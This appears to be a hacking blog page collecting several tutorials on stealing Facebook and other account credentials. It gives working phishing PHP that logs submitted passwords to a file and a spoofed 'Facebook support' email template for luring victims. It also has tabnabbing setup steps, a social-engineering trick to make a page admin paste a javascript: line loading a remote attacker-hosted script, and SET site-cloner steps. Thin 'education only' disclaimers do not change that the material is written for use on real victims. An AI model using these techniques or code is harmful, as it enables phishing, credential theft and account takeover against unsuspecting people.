How to Hack Facebook Accounts by Tabnabbing?

          How to Hack Facebook Accounts by Tabnabbing?

I hope you all are aware of the phishing and how it is used for stealing and hacking account passwords.

A more advanced attack to Phishing is Tabnabbing. 

Ok. Lets start...

                                   

Things you need for Tabnabbing: 

1. A Free Web Hosting Account - You can use110mb.com or ripway.com

2. You should have the following files which are required for tabnabbing.   

1. Facebook.html  -Fake Facebook login page (phisher) 

2. login.php - Script which captures the login details of the victim

3. google.html - Standard google page used to trick the user

4. tabnabb.js - Java script which is required for tabnabbing

1. First a fall  download all  the files and extract them using winrar or win-zip, Then upload  facebook.html ,login.php & google.html to your free web webhosting account.

2. Now open tabnabb.js using a notepad , Search for "Enter your URL here" , Now replace it with your "Facebook.html" url which you uploaded in the previous step, finally save it and upload  tabnabb.js to your hosting account

3. By now you should have successfully uploaded all the four files to your hosting account.

4. Now to check whether the hack is working, click on the google.html link and open it , Now open few new tabs , After some time you will see google page switched to your fake Facebook page

5. Now once the victim enters all his credentials in our fake facebook login page and clicks login, he will be redirected to Facebook.com/careers  page to avoid suspecion

6. To see the victim login details go to your hosting account where you will see a new file "log.txt" Open it to see the victims user-id and password.

You can use the same techniques to hack other account passwords like Paypal, Gmail, Twitter etc. But you have to use different html pages.

Good luck and happy hacking...

Read More

Facebook Phishing Tutorial

                                      Facebook Phishing Tutorial

Here I will show you how you can create fake facebook log-in page and then fool your victim to put his username and password in it so that you can get his account password.

                                                             

You need 3 files Index.html, phish.php, passwords.txt to create a fake facebook login page.

To create index.html:

First of all open www.facebook.com in your web browser, from “file” menu select “save as” and type “index” in file name and select “web page complete” from save as menu. Once done you will have a file named “index.html” and a folder named “index_files”. Folder will have several files in it, let them as it is and open index.html in notepad or word-pad. From edit menu select find, type action in it and locate following string.
action="https://www.facebook.com/login.php?login_attempt=1"

Now replace this string with action= “phish.php” and also change the method in html from 'post' to 'get'.
save the document.

To create phish.php:

Now open notepad type following php code in it and create phish.php.


<?php
header("Location: https://www.facebook.com/login.php?login_attempt=1 ");
$handle = fopen("passwords.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>


Now simply create text document and rename it as passwords.txt

Now you'll need a free web hosting service that supports PHP. I suggest you to use http://www.000webhost.com/

Open the site and create an account. Once you have created your account, you login to your account and go to control panel.
In the control panel choose file manager and upload the 3 files index.html, phish.php, passwords.txt in public directory.

Now create a new directory there and name it as index_files. Now open it and upload all the files in index_files folder formed while saving facebook page to it.

Don't forget to change Chmod permissions for passwords.txt to 777. Once done make index.html your index page and make site live.

Now create a spoofed email using my Anonymous mailer, from support@facebook.com to your victim.

Sub: Invalid activity on your facebook account.

Body:

Hey (victim's facebook user name),

Recently we saw some suspicious activity on your account, we suspect it as a malicious script. As a valuable user to us we understand this might be system error, if the activity is not generated by you then please log-in to your account by following link,

<link to phished site> normally it will be http://yourusername.somex.com/index.html

Failing to log-in within next 48 hours Facebook holds right to suspend your account for sake of privacy of you and others. By logging in you'll confirm it is system error and we will fix it in no time. Your inconvenience is regretted. Thank you.

support@facebook.com, 

Facebook, Inc,

1601 S.California Ave

Palo Alto CA 94394

US

If your victim is not security focused, he/she will surely fall prey to it. And will log-in using phished site handing you his password in passwords.txt file. 

Please note that you must use that email id of victim which he/she uses to log in facebook. If you are in his/her friend list then click on information tab to know log-in email ID.

Countermeasure:

You must not reply any message from facebook may it be legitimate or not by clicking on any links that appear in mail box. Better whenever you receive any mail of this type report it to facebook.com by logging via typing www.facebook.com in your web browser.

Download files from the following link.

DOWNLOAD

Read More

HOW TO GET FACEBOOK PROFILE ID & FACEBOOK PAGE ID

HOW TO GET YOUR PROFILE & PAGE ID ON FACEBOOK

As you know that,Every Facebook profile or page & profile has unique ID and no other can get to know about it except you yourself so, make it more unique by knowing it !!

This is one of the greatest achievements among the tricks that had been used with regard to Facebook.

Once you get to know your secret ID and the profile that is actually yours and hence related directly to your account you would get more and more chances of hiding and Facebook hence can guarantee you the secrecy of your data,information and personal elements.

HOW ID COULD BE USEFUL

1 ) You can use this ID as a username in your login.

2 ) For tagging name in comment or post @[your id:]

For example 

my profile at Facebook saikiran

3 ) It shall be helping you in making morefriends and promotion on facebook

& many more

Read More

READ FACEBOOK CHAT MESSAGES AND STAY UNDETECTED

Facebook has become a great platform for socializing. Everyone knows about everyone else. People have now connected and met with friends. You get to know others and know what they have achieved up till now. In time where social media is very important in everyone’s life, it also has some serious privacy issues. Facebook is famous among people of all age groups. If you want to be up to date with news then joining platform like Facebook is a good choice. It on one hand provides information, is good for brands and marketing of products and on other hand let you have freedom of writing your thoughts openly.

Facebook people have made it very simple to use. It is a place that is very much customized and every being counts it as its own.Facebook constantly improves itself. There are new feature introduced after every short period. Some improvements are related to privacy settings while other helps you convey your thoughts more freely. Sometime back people were worried about others viewing their profile.

 Thanks to new privacy policy that has resolved to great extent. Although whatever information Facebook attains form us is sold to advertising and research companies but they tell us and ask our permission for it. 

Latest addition to Facebook looks is in their chat. Previously people used to chat but didn’t know whether their message is received by other person or not. This created confusions but the new feature of read receipt has created more conflicts than ever. Now when you send a message to anyone you get a “Seen” report. Similarly other party sending you message gets it too. This “Seen at 00:00” has created many problems.

For instance you feel like avoiding an annoying person who constantly messages you on Facebook. Every time he sends you a message, you see it and choose to ignore it. Now Facebook read receipt feature will tell that person that you have seen his message and wont reply. 

For Google Chrome Browser:

 1. GO to this web Page Facebook

 2. ADD this Extension to Google chrome .

 3. Successfully Install 

This causes conflicts and can disturb your terms with that person. Or in another situation you are in hurry and saw that message but wasn't able to reply. Next time that person will talk to you he/she will ask you “you saw my message and didn't reply”. In this situation you cannot say you haven’t seen it because Facebook reports it.

To avoid situations like these there is an anecdote. There are now programs available on internet then can help you un-see the read messages. Those programs can be installed in any kind of Windows and on both Google Chrome and Mozilla Firefox. All you have to do is download that chat undetected program and run it. 

Next time you open your internet browser to chat, other person will not be able to tell whether you have seen his message or not.

This new Chat undetected software is a lifesaver for many. Next time a person accuses you of not replying, you can simply tell them you haven’t seen their message and Facebook read receipt will not show it.

Read More

         Advance Facebook Fan Page Hacking With                                                AutoPost

Today in this article I am going to explain you how to hack Facebook fan page using javascript. As we all know its difficult to hack Facebook fan page but using this method you can hack Facebook fan page easily.Enjoy H+ fanz..

Tutorial:

Now lets start the tutorial of facebook fan page hacking . First of all we will need to setup an exploit and a website to host that exploit. If you already have a registed hosting account then its great otherwise there are couple of free hosting websites that can be used for such purposes like000webhost.com etc.

Step 1: First download Facebook page hacking exploit,

CLICK TO DOWNLOAD  Facebook page hacking exploit


Step 2: Now open the pagehack.js [in package] with notepad and search forhackerspositive@gmail.com and change hackerspositive@gmail.com with ur facebook email.

Step 3: Now you have to change the viral text which will be sent to the friends of the victims. To do this, find the text <b>Hey See what i got!</b> and replace it with your own text. This text will be sent to the facebook wall of 15 friends of the victim. Since it is an autoposting bot, to prevent facebook from blocking it, I reduced its capacity to 15.

Now just save it as anything.js (Tip: Be social engineer and rename it to something more attractive like getprizes.js or booster.js) and then save it.

Step 4: Now create a account on free hosting like 0fess.net or 000webhost.com ( 110mb.com won't help this time so do not use it H+ fanz) and upload facebook page hacking exploit on your free hosting website. you will get url address something like this

www.yoursite.com/pagehack.js

Step 5: Now ask victim to paste this in browser address bar, He must be admin of page.Which you wants to hack:

javascript:(a = (b = document).createElement("script")).src = "http://www.yourwbesite.com/pagehack.js", b.body.appendChild(a); void(0)


Note : Change http://www.yourwbesite.com/pagehack.js in javascript with ur own address and name u make of your file.
NOTE2: Now a days latest browser did not support it so according to me ask victim to save it as bookmark and then click that bookmark then it will run successfully.


Tip: Tell him that it will make your page safe, or something else like attracting. Encode this javascript into ascii format for more results.

 When he will put this key in address bar and that's it you will get a notification that you are admin of his page now.

 Enjoy..!!!

 But don't hack for bad cause, I will not be responsible for any consequences made by you. For education purpose only.!

Read More

Hacking Facebook, Gmail Account Using Backtrack And SET

Here the post on hacking facebook,gmail accounts using backtrack and social engineeringkit.Things you needed are following: 

1. Backtrack 5 R2 
2. Internet connection 

Enjoy hakerzpositive fanz. For education purpose only.

Tutorial:

1. First open the social engineering kit using this command in cd /pentest/exploits/set and then press enter and then type ./set and hit enter like in image.

2. Now type 1 to select Social-Engineering Attacks and hit enter as in image.

3. Now type 2 to select Website Attack Vectors and hit enter as in image.

4. Now type 4 to select Tabnabbing Attack Method and hit enter.

5. Now type 2 to select Site Cloner and hit enter.

6. Now enter the site address whom which you want to create fake pages.

7. Now ti will start cloning the site.Now send ur ip address as a link to victim.

8. Now when victim click on it he/she get the fake page and when he fill the details he will got hacked.

It is as same as phishing but advanced and safe.. If you close terminal your server will also closed. This not works in some internet services. use vpn if you want open ports.

NOTE: FOR EDUCATION PURPOSE ONLY

Read More